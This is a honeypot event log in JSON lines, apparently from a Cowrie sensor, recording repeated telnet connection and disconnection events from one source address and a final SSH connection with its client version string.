{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":51884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f871b03ab5f0","protocol":"telnet","message":"New connection: 80.241.210.166:51884 (10.17.0.5:23) [session: f871b03ab5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:51.018229Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52114,"dst_ip":"10.17.0.5","dst_port":23,"session":"602b59bc16d1","protocol":"telnet","message":"New connection: 80.241.210.166:52114 (10.17.0.5:23) [session: 602b59bc16d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:51.192750Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33364,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4baac55903","protocol":"telnet","message":"New connection: 80.241.210.166:33364 (10.17.0.5:23) [session: 1e4baac55903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:52.059628Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53266,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ef877d465a","protocol":"telnet","message":"New connection: 80.241.210.166:53266 (10.17.0.5:23) [session: 65ef877d465a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:52.120878Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53380,"dst_ip":"10.17.0.5","dst_port":23,"session":"627575fc9316","protocol":"telnet","message":"New connection: 80.241.210.166:53380 (10.17.0.5:23) [session: 627575fc9316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:52.243739Z"}
{"eventid":"cowrie.session.closed","duration":30.95935082435608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:56.528926Z","src_ip":"80.241.210.166","session":"134107498396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.396459817886353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:57.423267Z","src_ip":"80.241.210.166","session":"fd6a170cb0f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":60050,"dst_ip":"10.17.0.5","dst_port":23,"session":"458bec7850d6","protocol":"telnet","message":"New connection: 80.241.210.166:60050 (10.17.0.5:23) [session: 458bec7850d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:58.152213Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":59702,"dst_ip":"10.17.0.5","dst_port":23,"session":"07d329203c01","protocol":"telnet","message":"New connection: 80.241.210.166:59702 (10.17.0.5:23) [session: 07d329203c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:58.860407Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33130,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ecc5e0ea83","protocol":"telnet","message":"New connection: 80.241.210.166:33130 (10.17.0.5:23) [session: e2ecc5e0ea83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:59.343270Z"}
{"eventid":"cowrie.session.closed","duration":31.233009576797485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:59.533910Z","src_ip":"80.241.210.166","session":"acb337158f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.812944173812866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:26:59.598863Z","src_ip":"80.241.210.166","session":"e4016c17ec3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":35836,"dst_ip":"10.17.0.5","dst_port":23,"session":"7245d6944852","protocol":"telnet","message":"New connection: 80.241.210.166:35836 (10.17.0.5:23) [session: 7245d6944852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:01.752210Z"}
{"eventid":"cowrie.session.closed","duration":30.84889268875122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:02.171008Z","src_ip":"80.241.210.166","session":"52cd5d4c055f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37408,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6fba8ed7da4","protocol":"telnet","message":"New connection: 80.241.210.166:37408 (10.17.0.5:23) [session: f6fba8ed7da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:02.930316Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37646,"dst_ip":"10.17.0.5","dst_port":23,"session":"73a43d8852fb","protocol":"telnet","message":"New connection: 80.241.210.166:37646 (10.17.0.5:23) [session: 73a43d8852fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:03.100049Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":38466,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c693cfdc04","protocol":"telnet","message":"New connection: 80.241.210.166:38466 (10.17.0.5:23) [session: 35c693cfdc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:04.295131Z"}
{"eventid":"cowrie.session.closed","duration":30.48136258125305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:05.160257Z","src_ip":"80.241.210.166","session":"7026ecf5782a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098494291305542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:05.506103Z","src_ip":"80.241.210.166","session":"0a7aebcbe0d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":40700,"dst_ip":"10.17.0.5","dst_port":23,"session":"d13e28bdb2b4","protocol":"telnet","message":"New connection: 80.241.210.166:40700 (10.17.0.5:23) [session: d13e28bdb2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:05.780305Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37340,"dst_ip":"10.17.0.5","dst_port":23,"session":"6db97de53f54","protocol":"telnet","message":"New connection: 80.241.210.166:37340 (10.17.0.5:23) [session: 6db97de53f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:05.883792Z"}
{"eventid":"cowrie.session.closed","duration":34.404465436935425,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:06.769147Z","src_ip":"80.241.210.166","session":"a103cdafb51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":42378,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca53178d0bc","protocol":"telnet","message":"New connection: 80.241.210.166:42378 (10.17.0.5:23) [session: 7ca53178d0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:07.167253Z"}
{"eventid":"cowrie.session.closed","duration":31.617833614349365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:08.757222Z","src_ip":"80.241.210.166","session":"ab5161a4f398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":44758,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d52473e4996","protocol":"telnet","message":"New connection: 80.241.210.166:44758 (10.17.0.5:23) [session: 4d52473e4996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:09.002045Z"}
{"eventid":"cowrie.session.closed","duration":31.636263608932495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:09.028498Z","src_ip":"80.241.210.166","session":"cf15ace6f00c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337026596069336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:09.731801Z","src_ip":"80.241.210.166","session":"0a90d77de569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2481427192688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:10.063128Z","src_ip":"80.241.210.166","session":"b580f97137c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":47148,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d009becda0","protocol":"telnet","message":"New connection: 80.241.210.166:47148 (10.17.0.5:23) [session: a6d009becda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:10.817535Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":47280,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdb8747ca883","protocol":"telnet","message":"New connection: 80.241.210.166:47280 (10.17.0.5:23) [session: cdb8747ca883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:10.932897Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":47410,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf735c9532ef","protocol":"telnet","message":"New connection: 80.241.210.166:47410 (10.17.0.5:23) [session: bf735c9532ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:12.065436Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":50578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b29ab45e7334","protocol":"telnet","message":"New connection: 80.241.210.166:50578 (10.17.0.5:23) [session: b29ab45e7334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:13.740361Z"}
{"eventid":"cowrie.session.closed","duration":31.066307544708252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:13.910909Z","src_ip":"80.241.210.166","session":"2344fb30d1d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52490,"dst_ip":"10.17.0.5","dst_port":23,"session":"b787264d8d75","protocol":"telnet","message":"New connection: 80.241.210.166:52490 (10.17.0.5:23) [session: b787264d8d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:15.130749Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b274385b1648","protocol":"telnet","message":"New connection: 80.241.210.166:53238 (10.17.0.5:23) [session: b274385b1648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:15.663507Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53720,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fdcd45842e3","protocol":"telnet","message":"New connection: 80.241.210.166:53720 (10.17.0.5:23) [session: 4fdcd45842e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:15.980430Z"}
{"eventid":"cowrie.session.closed","duration":31.720635414123535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:17.346638Z","src_ip":"80.241.210.166","session":"81b5cdce2b6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":56990,"dst_ip":"10.17.0.5","dst_port":23,"session":"7730c1c273c3","protocol":"telnet","message":"New connection: 80.241.210.166:56990 (10.17.0.5:23) [session: 7730c1c273c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:18.417614Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":57494,"dst_ip":"10.17.0.5","dst_port":23,"session":"34f89b909596","protocol":"telnet","message":"New connection: 80.241.210.166:57494 (10.17.0.5:23) [session: 34f89b909596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:18.816416Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":57754,"dst_ip":"10.17.0.5","dst_port":23,"session":"4081013468c9","protocol":"telnet","message":"New connection: 80.241.210.166:57754 (10.17.0.5:23) [session: 4081013468c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:18.979101Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":59392,"dst_ip":"10.17.0.5","dst_port":23,"session":"02e82da0005b","protocol":"telnet","message":"New connection: 80.241.210.166:59392 (10.17.0.5:23) [session: 02e82da0005b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:19.990939Z"}
{"eventid":"cowrie.session.closed","duration":31.363975763320923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:22.556599Z","src_ip":"80.241.210.166","session":"602b59bc16d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58786,"dst_ip":"10.17.0.5","dst_port":23,"session":"20a555116f31","protocol":"telnet","message":"New connection: 80.241.210.166:58786 (10.17.0.5:23) [session: 20a555116f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:22.580881Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":33018,"dst_ip":"10.17.0.5","dst_port":23,"session":"eab5844f8313","protocol":"telnet","message":"New connection: 80.241.210.166:33018 (10.17.0.5:23) [session: eab5844f8313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:22.832663Z"}
{"eventid":"cowrie.session.closed","duration":31.892877101898193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:22.911002Z","src_ip":"80.241.210.166","session":"f871b03ab5f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07371950149536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:23.317356Z","src_ip":"80.241.210.166","session":"627575fc9316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.664745330810547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:23.785498Z","src_ip":"80.241.210.166","session":"65ef877d465a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14293837547302,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:24.202272Z","src_ip":"80.241.210.166","session":"1e4baac55903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41462,"dst_ip":"10.17.0.5","dst_port":23,"session":"f32fadc738d1","protocol":"telnet","message":"New connection: 80.241.210.166:41462 (10.17.0.5:23) [session: f32fadc738d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:28.117077Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":42662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d479f6be6c9e","protocol":"telnet","message":"New connection: 80.241.210.166:42662 (10.17.0.5:23) [session: d479f6be6c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:29.149879Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":42972,"dst_ip":"10.17.0.5","dst_port":23,"session":"318f676b2d3c","protocol":"telnet","message":"New connection: 80.241.210.166:42972 (10.17.0.5:23) [session: 318f676b2d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:29.350888Z"}
{"eventid":"cowrie.session.closed","duration":30.517289400100708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:29.377543Z","src_ip":"80.241.210.166","session":"07d329203c01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39133620262146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:29.543356Z","src_ip":"80.241.210.166","session":"458bec7850d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07089400291443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:30.414024Z","src_ip":"80.241.210.166","session":"e2ecc5e0ea83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28985834121704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:33.041895Z","src_ip":"80.241.210.166","session":"7245d6944852","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":49142,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab1e8d62a148","protocol":"telnet","message":"New connection: 80.241.210.166:49142 (10.17.0.5:23) [session: ab1e8d62a148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:34.394058Z"}
{"eventid":"cowrie.session.closed","duration":31.78765869140625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:34.717843Z","src_ip":"80.241.210.166","session":"f6fba8ed7da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.141451597213745,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:35.241347Z","src_ip":"80.241.210.166","session":"73a43d8852fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102123260498047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:35.397152Z","src_ip":"80.241.210.166","session":"35c693cfdc04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.368813514709473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:36.149060Z","src_ip":"80.241.210.166","session":"d13e28bdb2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":51454,"dst_ip":"10.17.0.5","dst_port":23,"session":"78da71ea798c","protocol":"telnet","message":"New connection: 80.241.210.166:51454 (10.17.0.5:23) [session: 78da71ea798c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:36.411847Z"}
{"eventid":"cowrie.session.closed","duration":31.156641721725464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:37.040084Z","src_ip":"80.241.210.166","session":"6db97de53f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":51926,"dst_ip":"10.17.0.5","dst_port":23,"session":"c46887c05ada","protocol":"telnet","message":"New connection: 80.241.210.166:51926 (10.17.0.5:23) [session: c46887c05ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:37.071776Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52174,"dst_ip":"10.17.0.5","dst_port":23,"session":"c483eb0c885c","protocol":"telnet","message":"New connection: 80.241.210.166:52174 (10.17.0.5:23) [session: c483eb0c885c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:37.166579Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":51258,"dst_ip":"10.17.0.5","dst_port":23,"session":"04cf5404df6e","protocol":"telnet","message":"New connection: 80.241.210.166:51258 (10.17.0.5:23) [session: 04cf5404df6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:37.277271Z"}
{"eventid":"cowrie.session.closed","duration":65.7457823753357,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:37.369405Z","src_ip":"80.241.210.166","session":"b0ca55f91ea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00388789176941,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:38.170988Z","src_ip":"80.241.210.166","session":"7ca53178d0bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54118,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc6a118ffbc","protocol":"telnet","message":"New connection: 80.241.210.166:54118 (10.17.0.5:23) [session: bcc6a118ffbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:38.657752Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":55546,"dst_ip":"10.17.0.5","dst_port":23,"session":"a932a53d3511","protocol":"telnet","message":"New connection: 80.241.210.166:55546 (10.17.0.5:23) [session: a932a53d3511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:39.930837Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":55724,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a541ef5ce16","protocol":"telnet","message":"New connection: 80.241.210.166:55724 (10.17.0.5:23) [session: 1a541ef5ce16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:40.068002Z"}
{"eventid":"cowrie.session.closed","duration":31.293137073516846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:40.295057Z","src_ip":"80.241.210.166","session":"4d52473e4996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":52458,"dst_ip":"10.17.0.5","dst_port":23,"session":"b473bbd184c8","protocol":"telnet","message":"New connection: 80.241.210.166:52458 (10.17.0.5:23) [session: b473bbd184c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:40.403334Z"}
{"eventid":"cowrie.session.closed","duration":30.835518836975098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:41.652902Z","src_ip":"80.241.210.166","session":"a6d009becda0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":54706,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d763a25de1","protocol":"telnet","message":"New connection: 80.241.210.166:54706 (10.17.0.5:23) [session: 02d763a25de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:42.216993Z"}
{"eventid":"cowrie.session.closed","duration":31.63317322731018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:42.565946Z","src_ip":"80.241.210.166","session":"cdb8747ca883","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":55962,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d56f670d92","protocol":"telnet","message":"New connection: 80.241.210.166:55962 (10.17.0.5:23) [session: 28d56f670d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:43.371337Z"}
{"eventid":"cowrie.session.closed","duration":31.33803963661194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:43.403362Z","src_ip":"80.241.210.166","session":"bf735c9532ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":57098,"dst_ip":"159.203.135.109","dst_port":22,"session":"edc22603901e","protocol":"ssh","message":"New connection: 191.255.52.36:57098 (159.203.135.109:22) [session: edc22603901e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:44.740034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:27:44.826226Z","src_ip":"191.255.52.36","session":"edc22603901e","protocol":"ssh"}
